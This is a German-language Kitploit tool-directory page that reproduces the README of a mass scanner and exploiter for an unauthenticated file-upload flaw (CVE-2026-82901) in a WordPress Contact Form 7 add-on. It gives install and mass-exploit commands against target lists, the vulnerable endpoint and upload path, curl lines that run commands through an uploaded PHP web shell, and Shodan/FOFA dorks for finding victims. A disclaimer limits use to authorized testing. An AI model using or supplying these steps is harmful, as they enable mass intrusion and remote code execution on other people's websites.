Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-82901 — GUI- und CLI-Massenscanner und Exploiter für CVE-2026-82901, einen nicht authentifizierten beliebigen Datei-Upload im WordPress-Plugin Ultra Addons for Contact Form 7. | Kitploit
Tools/GitHubGitHub/tonydelouvre/cve-2026-82901
AufklärungSchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubtonydelouvre/cve-2026-82901

CVE-2026-82901

GUI- und CLI-Massenscanner und Exploiter für CVE-2026-82901, einen nicht authentifizierten beliebigen Datei-Upload im WordPress-Plugin Ultra Addons for Contact Form 7.

15vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2026-82901 — Ultra Addons for Contact Form 7 Mass Exploiter (GUI + CLI)

Ein Scanner und Massen-Exploitation-Tool für CVE-2026-82901 — eine Unauthenticated Arbitrary File Upload-Schwachstelle (CWE-434, CVSS 3.1 9.8 Critical) im WordPress-Plugin Ultra Addons for Contact Form 7 (Themefic), die Versionen ≤ 3.5.50 betrifft.

Es werden zwei Schnittstellen bereitgestellt:

  • GUI (Tkinter) — für den täglichen Gebrauch mit Live-Ergebnisüberwachung.
  • CLI — für Automatisierung, Skripterstellung und Headless-Massenläufe.

⚠️ Nur autorisiertes Testen. Siehe Haftungsausschluss.


Zusammenfassung der Schwachstelle

ElementDetail
CVECVE-2026-82901
Pluginultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7)
HerstellerThemefic
KlasseCWE-434 — Unrestricted Upload of File with Dangerous Type
Betroffene Versionen≤ 3.5.50
Gepatchte Version3.5.51+
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthentifizierungNicht erforderlich (unauthentifiziert)
Betroffene Funktionuacf7_wpcf7_mail_components (das Modul PDF Generator)
VektorCF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback mit dem Feld signature
Schreibpfad/wp-content/uploads/uacf7-uploads/
AuswirkungBeliebiger Datei-Upload → RCE, wenn PHP im Uploads-Verzeichnis ausgeführt wird
ReferenzenNVD · CVE.org

Ausnutzungsbedingung: Das Modul PDF Generator muss aktiviert sein und das Formular muss ein Feld uacf7_signature enthalten. Dieses Modul ist standardmäßig deaktiviert, sodass nicht jede Website, die eine anfällige Plugin-Version ausführt, tatsächlich ausnutzbar ist.


Funktionen

  • Plugin-Fingerprinting + Versionserkennung aus readme.txt
  • Automatische CF7-Seitenerkennung (Kandidatenpfade + sitemap.xml) mit Formularverifizierung
  • Automatische Erkennung des Signaturfeldnamens aus HTML
  • Multipart-Upload an den CF7-REST-Endpunkt, mit einem Nicht-REST-Fallback
  • Shell-Ausführungsverifizierung über einen eindeutigen Marker
  • Modi check (Mapping) und exploit (Upload + Verifizierung)
  • Multithreaded Mass Mode mit einer Zieldatei
  • Unterstützung für relative --form-url (/contact/), die pro Ziel aufgelöst wird
  • Zielliste unterstützt eine optionale zweite Spalte für einen zielspezifischen Formularpfad
  • Ausgabe: results.jsonl (vollständige Details) + hits.txt (erfolgreiche Ziele)
  • GUI: farbcodierte Ergebnistabelle, Live-Log, Start/Stop-Schaltflächen, CSV-Export

Installation

git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt

requirements.txt

requests>=2.31.0
urllib3>=2.0.0

tkinter wird mit Python ausgeliefert. Falls es fehlt (Linux): sudo apt install python3-tk.


Verwendung — GUI

python gui_82901.py

GUI-Screenshot

Workflow:

  1. Geben Sie eine einzelne URL ein oder wählen Sie eine Ziellistendatei (wählen Sie eines von beidem).
  2. Formular-URL: leer lassen für automatische Erkennung, oder /contact/ (relativer Pfad) eingeben, oder eine absolute URL.
  3. Wählen Sie den Modus: check oder exploit.
  4. Passen Sie bei Bedarf Threads (beginnen Sie mit 10), Timeout und Proxy an.
  5. Klicken Sie auf ▶ Start.

Tabellenzeilenfarben:

FarbeBedeutung
🟩 Grünshell_verified — Erfolg, die Spalte shell ist befüllt
🟨 Gelbvuln_candidate_sig_field — starker Kandidat
🟥 Roterror

Hilfsschaltflächen: ■ Stop (sicheres Herunterfahren), Clear log, Open hits, Open output, Export CSV.


Verwendung — CLI

Einzelziel

# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check

# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
    --form-url https://target.tld/contact/ --shell-name wp_82901.php

Massenmodus

# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/

# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/

# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10

Format von targets.txt

# one URL per line
https://a.tld

# optional second column: a per-target form path/URL
https://b.tld    /hubungi-kami/
https://c.tld |  https://c.tld/custom-contact/
https://d.tld ;  /kontak/

Das zweite Spaltentrennzeichen kann TAB, | oder ; sein. Priorität: zielspezifische Überschreibung > globales --form-url > automatische Erkennung.

CLI-Argumente

ArgumentStandardBeschreibung
-u, --url—Einzelne Ziel-Basis-URL
-l, --list—Zieldatei mit Liste
--modecheckcheck oder exploit
--form-url—Absolute URL oder relativer Pfad (/contact/)
--fieldautoName des Signaturfelds
--shell-namewp_82901.phpName der hochgeladenen Datei
--verify-url—Shell-URL, falls bereits bekannt
-j, --threads10Anzahl der Worker
--timeout25Anfrage-Timeout (Sekunden)
--proxy—HTTP(S)-Proxy
--outputcve_2026_82901_results.jsonlJSONL-Ergebnisdatei
--vuln-listhits.txtDatei mit erfolgreichen Zielen
-q, --quietausAusgabe reduzieren

Ergebnisstatus

StatusBedeutung
not_foundPlugin nicht erkannt
not_vulnerablePlugin vorhanden, Version > 3.5.50 (gepatcht)
plugin_found_version_unknownPlugin vorhanden, Version nicht lesbar
plugin_ok_no_signature_fieldPlugin vorhanden, kein Signaturfeld → PDF-Modul wahrscheinlich deaktiviert
vuln_candidate_sig_fieldPlugin ≤ 3.5.50 und ein Signaturfeld existiert → starker Kandidat
plugin_found_no_formPlugin vorhanden, kein CF7-Formular gefunden
shell_verifiedErfolg — Shell hochgeladen und ausgeführt
exploit_inconclusiveUpload versucht, Verifizierung fehlgeschlagen
errorAusnahme bei der Verarbeitung des Ziels

Warum exploit_inconclusive?

Das bedeutet nicht, dass das Ziel sicher ist. Wahrscheinliche Ursachen:

  1. Das PDF Generator-Modul ist deaktiviert (standardmäßig aus) — die häufigste Ursache.
  2. CF7 lehnt den Dateityp/Mimetype ab, bevor er den Handler erreicht.
  3. Der Upload-Pfad verwendet ein unvorhersehbares Zeitstempel-/Hash-Präfix.
  4. Der Name des Signaturfelds stimmt nicht mit der Fallback-Liste überein.
  5. Das Uploads-Verzeichnis führt kein PHP aus (Härtung).

Verwenden Sie den check-Modus, um nach vuln_candidate_sig_field zu filtern, und führen Sie dann einen exploit für ein einzelnes Ziel mit dem korrekten --field/--shell-name aus.


Manuelle Verifizierung

Nach einem shell_verified-Status die Ausführung testen:

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Der Marker POCBIT-82901-OK ist die Zeichenkette, die das Tool zur Validierung der Ausführung verwendet.


Reconnaissance

Dorks zum Auffinden von Zielen (Google / FOFA / Shodan):

body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"

Tool herunterladen